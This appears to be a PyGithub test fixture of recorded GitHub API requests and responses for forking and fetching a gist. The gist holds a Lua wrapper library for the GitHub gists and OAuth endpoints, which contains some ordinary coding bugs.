\"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\"\n}\n]]--\n\n-- Delete a gist --\nfunction GithubAPI.gist.delete(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {method=\"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n--- GISTS COMMENTS ---\n\n-- List comments on a gist --\nfunction GithubAPI.gist.comment.list(gist_id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n }\n]\n]]--\n\n-- Get a single comment --\nfunction GithubAPI.gist.comment.get(gist_id, id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Create a comment --\nfunction GithubAPI.gist.comment.create(gist_id, body, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tbody = body\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"body\": \"Just commenting for the sake of commenting\"\n}\n]]--\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/comments/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Edit a comment --\nfunction GithubAPI.gist.comment.edit(gist_id, id, body, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {\n\t\tmethod = \"PATCH\",\n\t\tdata = {\n\t\t\tbody = body\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"body\": \"Just commenting for the sake of commenting\"\n}\n]]--\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Delete a comment --\nfunction GithubAPI.gist.comment.delete(gist_id, id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {method = \"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n----------------------------------------------------------------------------\n-------------------------------- TOOLS -------------------------------------\n----------------------------------------------------------------------------\n\nfunction GithubAPI.http_request(url, callback, opts, fullUrl)\n\topts = opts or {}\n\t-- if GithubAPI.token then opts.headers = TOKEN BEARER\n\tif opts.data then opts.data = json.encode(opts.data) end\n\n\tlocal _url\n\tif (fullUrl) then _url = url else _url = GithubAPI.location .. url end\n\n\thttp.request(_url, function(data, status, headers)\n\t\tif (status == 500) then error(\"Github: Internal Server Error ...\") end\n\t\tdata = json.decode(data)\n\t\tcallback(data, status, headers)\n\tend, alert, opts)\nend\n\nfunction GithubAPI.explode(div,str) -- credit: http://richard.warburton.it\n if (div=='') then return false end\n local pos,arr = 0,{}\n for st,sp in function() return string.find(str,div,pos,true) end do\n table.insert(arr,string.sub(str,pos,st-1))\n pos = sp + 1\n end\n table.insert(arr,string.sub(str,pos))\n return arr\nend\n\n-- GITHUB TIMESTAMP (YYYY-MM-DDTHH:MM:SSZ) to os.time\nfunction GithubAPI.gtimestamp(githubTime)\n\tgithubTime = githubTime:sub(1, #githubTime-1) -- remove Z\n\tgithubTime = GithubAPI.explode(\"T\", githubTime)\n\tgithubTime[1] = GithubAPI.explode(\"-\", githubTime[1])\n\tgithubTime[2] = GithubAPI.explode(\":\", githubTime[2])\n\treturn os.time({\n\t\tyear = tonumber(githubTime[1][1]),\n\t\tmonth = tonumber(githubTime[1][2]),\n\t\tday = tonumber(githubTime[1][3]),\n\t\thour = tonumber(githubTime[2][1]),\n\t\tmin = tonumber(githubTime[2][2]),\n\t\tsec = tonumber(githubTime[2][3])\n\t})\nend"}},"public":true,"created_at":"2013-08-21T16:12:27Z","updated_at":"2013-08-21T16:26:50Z","description":"Github API","comments":0,"user":{"login":"HyroVitalyProtago","id":3470988,"avatar_url":"https://2.gravatar.com/avatar/ed59562b231a649345f38703948f76f4?d=https%3A%2F%2Fidenticons.github.com%2F6582cb986b7a730b12f7c18dfcc865f0.png","gravatar_id":"ed59562b231a649345f38703948f76f4","url":"https://api.github.com/users/HyroVitalyProtago","html_url":"https://github.com/HyroVitalyProtago","followers_url":"https://api.github.com/users/HyroVitalyProtago/followers","following_url":"https://api.github.com/users/HyroVitalyProtago/following{/other_user}","gists_url":"https://api.github.com/users/HyroVitalyProtago/gists{/gist_id}","starred_url":"https://api.github.com/users/HyroVitalyProtago/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/HyroVitalyProtago/subscriptions","organizations_url":"https://api.github.com/users/HyroVitalyProtago/orgs","repos_url":"https://api.github.com/users/HyroVitalyProtago/repos","events_url":"https://api.github.com/users/HyroVitalyProtago/events{/privacy}","received_events_url":"https://api.github.com/users/HyroVitalyProtago/received_events","type":"User"},"comments_url":"https://api.github.com/gists/6296553/comments","forks":[],"history":[{"user":null,"version":"c464aecd7fea16684e935607eeea7ae4f8caa0e2","committed_at":"2013-08-21T16:12:27Z","change_status":{"total":793,"additions":793,"deletions":0},"url":"https://api.github.com/gists/6296553/c464aecd7fea16684e935607eeea7ae4f8caa0e2"}]} https POST api.github.com None /gists/6296553/forks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4965'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('cache-control', 'max-age=0, private, must-revalidate'), ('content-length', '1510'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('location', 'https://api.github.com/gists/6296732'), ('access-control-allow-credentials', 'true'), ('date', 'Wed, 21 Aug 2013 16:28:24 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('etag', '"ceb086d4f395719d1124cade5cedbfd4"'), ('x-ratelimit-reset', '1377104997')] {"url":"https://api.github.com/gists/6296732","forks_url":"https://api.github.com/gists/6296732/forks","commits_url":"https://api.github.com/gists/6296732/commits","id":"6296732","git_pull_url":"https://gist.github.com/6296732.git","git_push_url":"https://gist.github.com/6296732.git","html_url":"https://gist.github.com/6296732","files":{},"public":true,"created_at":"2013-08-21T16:28:24Z","updated_at":"2013-08-21T16:28:24Z","description":"Github API","comments":0,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"comments_url":"https://api.github.com/gists/6296732/comments"} https GET api.github.com None /gists/6296732 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4964'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '26806'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 16:28:24 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"f2916c23435522156274bed022a322e7"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 21 Aug 2013 16:28:25 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377104997')] {"url":"https://api.github.com/gists/6296732","forks_url":"https://api.github.com/gists/6296732/forks","commits_url":"https://api.github.com/gists/6296732/commits","id":"6296732","git_pull_url":"https://gist.github.com/6296732.git","git_push_url":"https://gist.github.com/6296732.git","html_url":"https://gist.github.com/6296732","files":{"GithubAPI.lua":{"filename":"GithubAPI.lua","type":"text/plain","language":"Lua","raw_url":"https://gist.github.com/raw/6296732/88aafa25fb28e17013054a117354a37f0d78963c/GithubAPI.lua","size":21229,"content":"-- GithubAPI\n-- @Author : Hyro Vitaly Protago\n-- @Version : 1.0.0\n\n--[[\n\nINFOS :\n - Cannot delete an anonymous gist\n]]--\n\nGithubAPI = {\n\tlocation = \"https://api.github.com/\",\n\ttoken = nil,\n\tOAuth = {\n\t\tauthorizations = {}\n\t},\n\tgist = {\n\t\tlist = {},\n\t\tcomment = {}\n\t},\n\tgithub = {}\n}\n\n----------------------------------------------------------------------------\n------------------------------ Github API ----------------------------------\n----------------------------------------------------------------------------\n\n--- Authentication ---\n\n--[[ Scopes --\n\nScopes let you specify exactly what type of access you need. Scopes limit access for OAuth tokens.\nThey do not grant any additional permission beyond that which the user already has.\n\nFor the web flow, requested scopes will be displayed to the user on the authorize form.\n\nCheck headers to see what OAuth scopes you have, and what the API action accepts.\n\n~~~\n$ curl -H \"Authorization: token OAUTH-TOKEN\" https://api.github.com/users/technoweenie -I\nHTTP/1.1 200 OK\nX-OAuth-Scopes: repo, user\nX-Accepted-OAuth-Scopes: user\nX-OAuth-Scopes lists the scopes your token has authorized. X-Accepted-OAuth-Scopes lists the scopes that the action checks for.\n~~~\n\n- (no scope)\npublic read-only access (includes public user profile info, public repo info, and gists).\n- user\nRead/write access to profile info only. Note: this scope includes user:email and user:follow.\n- user:email\nRead access to a user’s email addresses.\n- user:follow\nAccess to follow or unfollow other users.\n- public_repo\nRead/write access to public repos and organizations.\n- repo\nRead/write access to public and private repos and organizations.\n- repo:status\nRead/write access to public and private repository commit statuses.\nThis scope is only necessary to grant other users or services access to private repository commit statuses without granting access to the code.\nThe repo and public_repo scopes already include access to commit status for private and public repositories respectively.\n- delete_repo\nDelete access to adminable repositories.\n- notifications\nRead access to a user’s notifications. repo is accepted too.\n- gist\nWrite access to gists.\n\nNOTE: Your application can request the scopes in the initial redirection. You can specify multiple scopes by separating them by a comma.\n~~~\nhttps://github.com/login/oauth/authorize?\n client_id=...&\n scope=user,public_repo\n~~~\n]]--\n\n-- Redirect users to request GitHub access --\nfunction GithubAPI.OAuth.getToken(client_id, scope, callback)\n\tGithubAPI.http_request(\"https://github.com/login/oauth/authorize?client_id=\"..client_id..\"&scope=\"..scope, function(data, status, headers)\n\t\tGithubAPI.OAuth._getToken(client_id, client_secret, data, callback)\n\tend, nil, true)\nend\n-- GitHub redirects back to your site --\nfunction GithubAPI.OAuth._getToken(client_id, client_secret, code, callback)\n\tGithubAPI.http_request(\"https://github.com/login/oauth/access_token\", callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tclient_id = client_id,\n\t\t\tclient_secret = client_secret,\n\t\t\tcode = code\n\t\t}\n\t}, true)\nend\n\n-- List your authorizations --\nfunction GithubAPI.OAuth.authorizations.list(callback)\n\tGithubAPI.http_request(\"authorizations\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nLink: ; rel=\"next\",\n ; rel=\"last\"\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n }\n]\n]]--\n\n-- Get a single authorization --\nfunction GithubAPI.OAuth.authorizations.get(id, callback)\n\tGithubAPI.http_request(\"authorizations/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n}\n]]--\n\n-- Create a new authorization --\nfunction GithubAPI.OAuth.authorizations.create(callback, scopes, note, note_url, client_id, client_secret)\n\tGithubAPI.http_request(\"authorizations/\", callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tscopes = scopes,\n\t\t\tnote = note,\n\t\t\tnote_url = note_url,\n\t\t\tclient_id = client_id,\n\t\t\tclient_secret = client_secret\n\t\t}\n\t})\nend\n\n--[[ Input --\nscopes\nOptional array - A list of scopes that this authorization is in.\n\nnote\nOptional string - A note to remind you what the OAuth token is for.\n\nnote_url\nOptional string - A URL to remind you what app the OAuth token is for.\n\nclient_id\nOptional String - The 20 character OAuth app client key for which to create the token.\n\nclient_secret\nOptional String - The 40 character OAuth app client secret for which to create the token.\n~~~\n{\n \"scopes\": [\n \"public_repo\"\n ],\n \"note\": \"admin script\"\n}\n~~~\n]]--\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/authorizations/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n}\n]]--\n\n-- TODO\n-- Update\n-- Check\n-- Delete\n\n--- GISTS ---\n\n-- List gists --\nfunction GithubAPI.gist.list.user(user, callback)\n\tGithubAPI.http_request(\"users/\"..user..\"/gists\", callback)\nend\nfunction GithubAPI.gist.list.all(callback) -- return all public gists if called anonymously\n\tGithubAPI.http_request(\"gists\", callback)\nend\nfunction GithubAPI.gist.list.allPublic(callback)\n\tGithubAPI.http_request(\"gists/public\", callback)\nend\nfunction GithubAPI.gist.list.starred(callback)\n\tGithubAPI.http_request(\"gists/starred\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nLink: ; rel=\"next\",\n ; rel=\"last\"\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\"\n }\n]\n]]--\n\n-- Get a single gist --\nfunction GithubAPI.gist.get(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Create a gist --\nfunction GithubAPI.gist.create(public, files, callback ,description)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tpublic = public,\n\t\t\tfiles = files,\n\t\t\tdescription = description\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"description\": \"the description for this gist\",\n \"public\": true,\n \"files\": {\n \"file1.txt\": {\n \"content\": \"String file contents\"\n }\n }\n}\n]]--\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Edit a gist --\nfunction GithubAPI.gist.edit(id, files, callback, description)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {\n\t\tmethod = \"PATCH\",\n\t\tdata = {\n\t\t\tid = id,\n\t\t\tfiles = files,\n\t\t\tdescription = description\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"description\": \"the description for this gist\",\n \"files\": {\n \"file1.txt\": {\n \"content\": \"updated file contents\"\n },\n \"old_name.txt\": {\n \"filename\": \"new_name.txt\",\n \"content\": \"modified contents\"\n },\n \"new_file.txt\": {\n \"content\": \"a new file\"\n },\n \"delete_this_file.txt\": null\n }\n}\n]]--\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Star a gist --\nfunction GithubAPI.gist.star(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback, {method=\"PUT\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Unstar a gist --\nfunction GithubAPI.gist.unstar(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback, {method=\"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Check if a gist is starred --\nfunction GithubAPI.gist.checkStar(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback)\nend\n\n--[[\n-- Response if gist is starred --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n\n-- Response if gist is not starred --\nStatus: 404 Not Found\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Fork a gist --\nfunction GithubAPI.gist.fork(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/forks\", callback, {method=\"POST\"})\nend\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/2\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\"\n}\n]]--\n\n-- Delete a gist --\nfunction GithubAPI.gist.delete(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {method=\"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n--- GISTS COMMENTS ---\n\n-- List comments on a gist --\nfunction GithubAPI.gist.comment.list(gist_id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n }\n]\n]]--\n\n-- Get a single comment --\nfunction GithubAPI.gist.comment.get(gist_id, id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n 